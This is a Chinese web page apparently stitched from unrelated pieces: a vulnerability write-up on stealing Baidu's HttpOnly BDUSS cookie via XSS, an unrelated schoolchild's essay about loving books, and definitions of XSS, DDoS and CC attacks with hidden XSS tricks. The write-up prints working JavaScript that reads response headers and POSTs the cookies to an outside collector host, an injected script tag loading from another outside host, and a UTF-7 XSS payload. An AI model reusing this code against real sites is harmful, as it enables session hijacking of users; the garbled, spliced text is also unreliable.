XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其
该测试页返回了完整的http头,其中也包括了完整的cookie。混贴吧圈的应该都知道BDUSS是最关键的字段,同时该字段是受http-only保护的,百度SRC之前也因此下调了XSS的评分标准。
02.jpg
这样,我们只要利用XSS平台的"指定页面源码读取"模块即可通过XSS获取用户的完整cookie。该模块代码如下:
code 区域
var u = 'http://buv.me/index.php?do=apiid={projectId}';
var cr;
if (document.charset) {
cr = document.charset
} else if (document.characterSet) {
cr = document.characterSet
};
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest()
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for (var n = 0; n MSXML.length; n++) {
try {
xmlHttp = new ActiveXObject(MSXML[n]);
break
} catch(e) {}
}
}
}
createXmlHttp();
xmlHttp.onreadystatechange = writeSource;
xmlHttp.open("GET", "http://appstest.baidu.com/http/echoheader.php", true);
xmlHttp.send(null);
function postSource(cc) {
createXmlHttp();
url = u;
cc = "mycode=" + cc;
xmlHttp.open("POST", url, true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.setRequestHeader("Content-length", cc.length);
xmlHttp.setRequestHeader("Connection", "close");
xmlHttp.send(cc)
}
function writeSource() {
if (xmlHttp.readyState == 4) {
var c = new postSource(xmlHttp.responseText)
}
}
由于是用xmlHttpRequest的形式读源码,且 http://appstest.baidu.com/ 的 Access-Control-Allow-Origin 为空,即默认不允许跨域,所以我们必须在同域下才能用xmlHttpRequest获取到完整的cookie。
我在 http://wooyun.org/bugs/wooyun-2014-051026/trace/e80c9b4ecb9c252d6bdfdb21c335164d 中有提到, http://appstest.baidu.com/abnormalTest/abnormaTest.php?typeName=single 可以自由构造XSS。我们向该页面写入如下代码:
code 区域
titlewooyun.org/title
p超威蓝猫@wooyun.org/p
script src=http://00f.me/XbSWCk/script
我是小书迷,最大的乐趣就是看书,看书几乎占了我大部分的课余时间.一钻进书的海洋里,我便像一只书虫,贪婪地吸取书里的知识,就像辛勤的蜜蜂不停地吸取花蜜.要是有时间,我几乎一整天都泡在书房里津津有味地看书,甚至忘了吃饭,忘了睡觉,忘记了一切.
古人云:“读书破万卷,下笔如有神.”而我认为读书不光如此,读书,还可以增长知识、开拓视野、活跃思维,陶冶情操.记得我曾经读过一本《101个年轻人要懂得的哲理》,这本书通过101则精辟的小故事讲述了一条条人生道理,从这本书中,我懂得了对待每一件事情都要乐观;对待他人要伸出友爱之手;遇到问题要善于思考……同时也使我明白了许多道理,使我受益匪浅.
我还读了许多的名着,读了《钢铁是怎样炼成的》,我被主人翁保尔的人残志坚感动;读了《十万个为什么》,我为这个多彩的世界痴迷;读了《鲁滨逊漂流记》,我被主人公坚强的意志所折服.
书是一片浩瀚的海洋,我就是一只小鱼,在书的海洋里遨游;书是广袤的天空,那我就是一只小鸟,在天空中快乐地飞翔.是书,让我学到了更多的知识;是书,让我明白了更多的道理;是书,让我从一个孩童变成了一个勤奋上进的少年.
高尔基说:“我扑在书籍上,就像饥饿的人扑在面包上一样.”我就是那个饥饿的少年.书给了我神奇的力量,是这种力量,催我奋进.
我愿意永远做一个快乐的小书迷!
跨站脚本 ( Cross-Site Scriptin ) 简称xss,是由于Web应用程序对用户的输入过滤不足而产生的.攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端 Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
其危害有:
1、网络钓鱼,包括盗取各类用户账号;
2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
3、劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;
4、强制弹出广告页面、刷流量等;
5、网页挂马,进行恶意操作,例如任意篡改页面信息、删除文章等;
6、进行大量的客户端攻击,如DDoS攻击;
7、获取客户端信息,例如用户的浏览历史、真实IP、开放端口等;
8、控制受害者机器向其他网站发起攻击;
9、结合其他漏洞,如CSRF漏洞,进一步入侵和破坏系统;
10、提升用户权限,包括进一步渗透网站;
11、传播跨站脚本蠕虫等;
DDOS攻击
DDos攻击指借助于客户或服务器技术,将多个计算机联合起来作为攻击平台,对一个或者多个目标发动DDOS攻击,从而成倍地提高拒绝服务攻击的威力。
DDOS攻击方式有很多种,最基本的DDOS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。单一的DOS攻击一般是采用一对一的方式,当攻击目标CPU速度低、内存小或者网络带宽小等等各项指标不高的性能,它的效果是明显的。DDOS攻击就是利用更多的傀儡机来发起进攻,以比从前更大的规模来进攻受害者。
CC攻击
CC攻击是DDOS攻击的一种,是目前应用层攻击主要手段之一,对比其它的DDOS攻击CC似乎更有技术含量。CC攻击借助代理服务器生成指向目标系统的合法请求,实现伪装和DDOS。
CC攻击模拟多个正常用户不停地访问如论坛这些需要大量数据操作的页面,造成服务器资源的浪费,CPU长时间处于100%,永远都有处理不完的请求,网络拥塞,正常访问被中止。这种攻击技术含量高,见不到真实源IP,见不到特别大的异常流量,但服务器就是无法进行正常连接。
DDOS攻击和CC攻击有什么区别?
CC攻击模拟用户对一些比较消耗资源的网页进行攻击,而DDOS攻击则是针对IP进行攻击,两者的攻击方式虽然不一样,但造成的后果都是导致正常用户无法访问。如果服务器没有做好防御措施,遭到很小的攻击就会被服务器运营商黑洞,多次攻击黑洞时间就会越来越长,用户大量流失。
XSS注入的本质就是:某网页中根据用户的输入,不期待地生成了可执行的js代码,并且js得到了浏览器的执行.意思是说,发给浏览器的字符串中,包含了一段非法的js代码,而这段代码跟用户的输入有关.常见的XSS注入防护,可以通过简单的htmlspecialchars(转义HTML特殊字符),strip_tags(清除HTML标签)来解决,但是,还有一些隐蔽的XSS注入不能通过这两个方法来解决,而且,有时业务需要不允许清除HTML标签和特殊字符.下面列举几种隐蔽的XSS注入方法:IE6/7UTF7XSS漏洞攻击隐蔽指数:5伤害指数:5这个漏洞非常隐蔽,因为它让出现漏洞的网页看起来只有英文字母(ASCII字符),并没有非法字符,htmlspecialchars和strip_tags函数对这种攻击没有作用.不过,这个攻击只对IE6/IE7起作用,从IE8起微软已经修复了.你可以把下面这段代码保存到一个文本文件中(前面不要有空格和换行),然后用IE6打开试试(没有恶意代码,只是一个演示):+/v8+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-最容易中招的就是JSONP的应用了,解决方法是把非字母和数字下划线的字符全部过滤掉.还有一种方法是在网页开始输出空格或者换行,这样,UTF7-XSS就不能起作用了.因为只对非常老版本的IE6/IE7造成伤害,对Firefox/Chrome没有伤害,所以伤害指数只能给4颗星.参考资料:UTF7-XSS不正确地拼接JavaScript/JSON代码段隐蔽指数:5伤害指数:5Web前端程序员经常在PHP代码或者某些模板语言中,动态地生成一些JavaScript代码片段,例如最常见的:vara='!--?phpechohtmlspecialchars($name);?';不想,$name是通过用户输入的,当用户输入a’;alert(1);时,就形成了非法的JavaScript代码,也就是XSS注入了.只需要把上面的代码改成:vara=
从IE8开始就有XSS筛选器,主要用于防御反射型跨站攻击,且是默认开启的。但由于它那暴力的检测方式(正则匹配)经常会影响到网站的正常业务功能,我想受此困扰的人一定不少,所以我建议大家都把它给关了。
如果是站长请使用X-XSS-Protection响应头关闭:
X-XSS-Protection: 0;
X-XSS-Protection 是用于控制IE的XSS筛选器用的HTTP 响应字段头。
如果你没有权利更改网站设置,那么你可以:
打开IE-菜单栏-安全-Internet-自定义级别-脚本-启用XSS筛选器-关闭-确定.
XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。
我来说两句